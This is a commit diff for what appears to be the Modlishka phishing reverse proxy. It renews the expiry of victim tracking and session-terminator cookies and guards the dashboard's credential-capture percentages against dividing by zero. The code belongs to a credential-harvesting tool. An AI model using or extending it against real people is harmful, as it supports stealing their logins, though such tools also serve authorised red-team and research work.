Skip to content

Commit fc49cce

Browse files
committed
Fix expired cookie dates
1 parent dd02993 commit fc49cce

File tree

2 files changed

+10
-4
lines changed

2 files changed

+10
-4
lines changed

core/proxy.go

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -242,7 +242,7 @@ func (httpResponse *HTTPResponse) PatchHeaders(p *ReverseProxy) {
242242
// Add tracking cookie
243243
value := runtime.TrackingCookie + "=" + p.RequestContext.InitUserID +
244244
";Path=/;Domain=." + runtime.ProxyDomain +
245-
";Expires=Sat, 26-Oct-2025 18:54:56 GMT;Priority=HIGH"
245+
";Expires=" + time.Now().AddDate(1, 0, 0).UTC().Format("Mon, 02-Jan-2006 15:04:05 GMT") + ";Priority=HIGH"
246246
httpResponse.Header.Add("Set-Cookie", value)
247247
}
248248

@@ -253,7 +253,7 @@ func (httpResponse *HTTPResponse) PatchHeaders(p *ReverseProxy) {
253253
// Set Terminator Cookie
254254
value := runtime.TERMINATE_SESSION_COOKIE_NAME + "=" + runtime.TERMINATE_SESSION_COOKIE_VALUE +
255255
";Path=/;Domain=." + runtime.ProxyDomain +
256-
";Expires=Sat, 26-Oct-2025 18:54:56 GMT;HttpOnly;Priority=HIGH"
256+
";Expires=" + time.Now().AddDate(1, 0, 0).UTC().Format("Mon, 02-Jan-2006 15:04:05 GMT") + ";HttpOnly;Priority=HIGH"
257257
httpResponse.Header.Add("Set-Cookie", value)
258258
}
259259

plugin/control.go

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -700,6 +700,12 @@ func HelloHandler(w http.ResponseWriter, r *http.Request) {
700700
termCount += 1
701701
}
702702
}
703+
credsPercent := 0.0
704+
termPercent := 0.0
705+
if len(victims) > 0 {
706+
credsPercent = float64(credsCount) / float64(len(victims)) * 100
707+
termPercent = float64(termCount) / float64(len(victims)) * 100
708+
}
703709
data := struct {
704710
Victims []Victim
705711
CredsCount int
@@ -711,8 +717,8 @@ func HelloHandler(w http.ResponseWriter, r *http.Request) {
711717
victims,
712718
credsCount,
713719
termCount,
714-
float64(credsCount) / float64(len(victims)) * 100,
715-
float64(termCount) / float64(len(victims)) * 100,
720+
credsPercent,
721+
termPercent,
716722
CConfig.url,
717723
}
718724
t := template.New("modlishka")

0 commit comments

Comments
 (0)